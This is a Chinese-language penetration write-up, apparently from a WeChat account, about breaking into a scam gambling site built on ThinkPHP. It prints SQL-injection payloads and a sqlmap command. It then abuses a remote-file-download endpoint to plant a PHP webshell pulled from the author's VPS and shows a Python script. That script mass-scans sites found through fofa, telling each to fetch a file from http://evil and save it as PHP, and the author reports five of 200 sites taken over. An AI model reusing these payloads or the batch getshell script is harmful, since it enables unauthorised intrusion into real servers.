某天正在翻阅学习资料时,突然收到一条短信,用火星文写着&%¥#@注册送888!!&%¥#@业界最高反水火爆全网:戳XXX.com
我立刻放下学习资料,很快啊。
打开电脑访问首页,标题上来就是腾讯pc,一般这种杀猪盘都喜欢用这些大企业的名号来忽悠,虽然腾讯确实忽悠......
在url后随便打几个字符,出现了报错,可以看出应该是thinkphp魔改来的。
直接搜索公开的thinkphp3的payload打一波:
index.php?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23
index.php?username[0]=exp&username[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
一波打完都不太行,开始翻网站有哪些功能。
在充值界面看到有三种支付方式:
既然是腾讯pc,那就点一个支付宝吧
看到有传参,先加个单引号双引号试试,结果幸福来得那么突然
构造payload
//获取数据库名:
?id=1" or extractvalue(0x0a,concat(0x0a,(select database()))) = "1
//获取表名:
?id=1" or extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) = "1
//获取admins表的列名:
?id=1" or extractvalue(0x0a,concat(0x0a,(select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E73))) = "1
注:0x61646D696E73为admins的十六进制,mysql在执行语句时会自动解十六进制,在引号不方便用时,可以使用十六进制绕过。
这里报错显示的长度是有限制的,获取不全,可以通过substr的方式,每次截取一段,最后再拼接。
直接上sqlmap也是可以的:
sqlmap -u "http://1.1.1.1/Home/Change/AlipayInfo/?id=1" -p id --random-agent --technique=E --cookie="PHPSESSID=11111" --dbs
在从admins表中拿username和password时:
payload:
?id=1" orextractvalue(0x0a,concat(0x0a,(select username,password fromadmins limit 0,1))) = "1
突然不报错了,
但是输入:
?id=1" orextractvalue(0x0a,concat(0x0a,(select 123))) = "1
就会报错打印出123,还以为是出现了幻觉了。后来不得已用sqlmap跑了一下,发现原来是因为admins表是空的。实际的用户名密码不在这个表。
接着在dump user表时看到了admin用户,结果在前台登录发现是客服。现在客服都这么奔放了:
目前,虽然可以注入拿数据了,但是我们的最终目的是获取shell,在网站发现有图像上传功能,但是上传之后并不知道图片的路径,访问图片会直接下载,不能解析。
所以还是需要找一下网站后台,一般后台比较容易找到上传,编辑等容易拿shell的功能点。
首先爆破一下网站的后台:
不存在时,网站不返回404,而是直接返回200,显示首页,导致全是误报。
可以使用7kbscan,设置只匹配302和40x的响应:
找到了后台地址为
/houtailogin
然而在数据库翻找了半天也没找到admin的用户密码在哪...,有可能权限限制的比较好,当前sql用户拿不到那个表。
于是想到sql注入这里是不是可以尝试一下直接拿shell,再检测一波,发现还真存在stack注入:
直接--os-shell没有成功,尝试了几遍都不行,应该不是网络问题,估计是权限不够。
没有办法只能继续啃了,数据库这里实在是翻不到后台密码。
只能再从网站其他功能入手,祭出目录扫描,扫一下网站还有哪些目录,同样的,所有目录都是200,没办法只能过滤掉200,找找有没有因为参数错误而404的目录:
自定义错位为404 | 错误,幸运的扫描出一个隐藏功能:put_file_url
这一看就不太对劲,给他传参数
继续传:
这几个功能加起来,看起来应该是个远程文件下载功能
尝试一下:
http://1.1.1.1/Home/index/put_file_url/?url=123&savename=1.php&path=
访问:
http://1.1.1.1/1.php
这不就直接getshell了......
在vps上写一个php一句话木马;
payload:
http://1.1.1.1/Home/index/put_file_url/?url=http://1.1.1.1/1.txt&savename=1.php&path=
网站管理员防范意识还是很强的,该禁的函数都禁差不多了
尝试用蚁剑连接:
果然没办法执行命令
使用蚁剑的插件bypass一下:
已经能够执行命令了,用户权限为www权限。
直接ifconfig没有执行,可以/sbin/ifconfig执行,查看一下ip
目标没有内网环境,应该就是一台云主机,就没有继续提权内网的必要了
但是可以把源码脱下来,继续分析
命令:
tar -zcvf archive_name.tar.gz directory_to_compress
在projectHomeControllerIndexController.class.php文件中可以看到putfileurl函数就是将远程文件直接下载到本地,导致能够直接getshell
public function put_file_url ($url, $savename,$path){
$url = trim($url);
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$file = curl_exec($curl);
curl_close($curl);
$filename = $path . $savename;
$write = @fopen($filename, 'w');
if ($write == false) {
return false;
}
if (fwrite($write, $file) == false) {
return false;
}
if (fclose($write) == false) {
return false;
}
}
在projectHomeControllerChangeController.class.php目录下,直接将参数拼接到sql语句中,导致产生了sql注入漏洞,同样的漏洞还有很多,在之后再慢慢进行分析。
import requests
import time
urls = open("urls-tp3.txt",'r').readlines()
for url in urls:
url = url.strip()
try:
print("[+] test on :", url)
tmpurl = url + "/Home/index/put_file_url?url=http://evil/1.txt"
data = {"savename":"404.php","path":""}
res = requests.post(url = tmpurl,timeout = 5,verify = False,data = data)
if res.status_code == 200:
print("200 ok")
print(tmpurl,"t" ,res.status_code)
print()
else:
print("not 200 ")
except:
print(".")
既然知道了有这么简单地getshell的方法,我们可以用fofa来批量尝试一下。
fofa搜索:
这里有一个小工具可以使用一下:
https://github.com/jayus0821/fofa-j/blob/main/fofa-j.py
利用了fofa的一个cookie参数,扩大了免费用户的查看数量
接下来编写脚本批量扫描一波:
import requests
import time
urls = open ( "urls-tp3.txt" , 'r' ). readlines ()
for url in urls :
url = url . strip ()
try :
print("[+] test on :", url)
tmpurl = url + "/Home/index/put_file_url?url=http://evil/1.txt"
data = { "savename" : "404.php" , "path" : "" }
res = requests.post(url = tmpurl, timeout = 5, verify = False, data = data)
if res.status_code == 200 :
print( "200 ok" )
print( tmpurl , "t" , res.status_code )
print()
else :
print( "not 200 " )
except :
print( "." )
200个目标中,最终发现有5个站点存在远程文件下载,一键getshell
同样也可以批量测试一下sql注入漏洞,这里就先不测试了。
这里推荐一下pocsuite工具,pocsuite是由知道创宇404实验室打造的一款开源的远程漏洞测试框架
详细可以查看:
https://pocsuite.org/
这里因为比较简单,数量少,就自己写脚本批量扫了。
本文始发于微信公众号(IDLab):“杀猪盘”渗透实战
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论